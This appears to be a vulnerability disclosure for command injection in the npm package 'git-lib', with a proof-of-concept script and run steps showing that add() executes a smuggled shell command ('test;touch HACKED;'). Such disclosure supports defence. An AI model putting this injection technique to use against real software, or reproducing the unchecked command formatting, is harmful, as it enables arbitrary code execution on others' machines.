Overview

The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept (Credit: Mik317)

1. Create the following PoC file:

// poc.js
var git = require("git-lib");
git
  .add("test;touch HACKED;")
  .then(function () {
    /** successfully added **/
  })
  .catch(function (err) {
    /** unsuccessful **/
  });

2. Check there aren't files called HACKED
3. Execute the following commands in another terminal:

npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js #  Run the PoC

4. Recheck the files: now HACKED has been created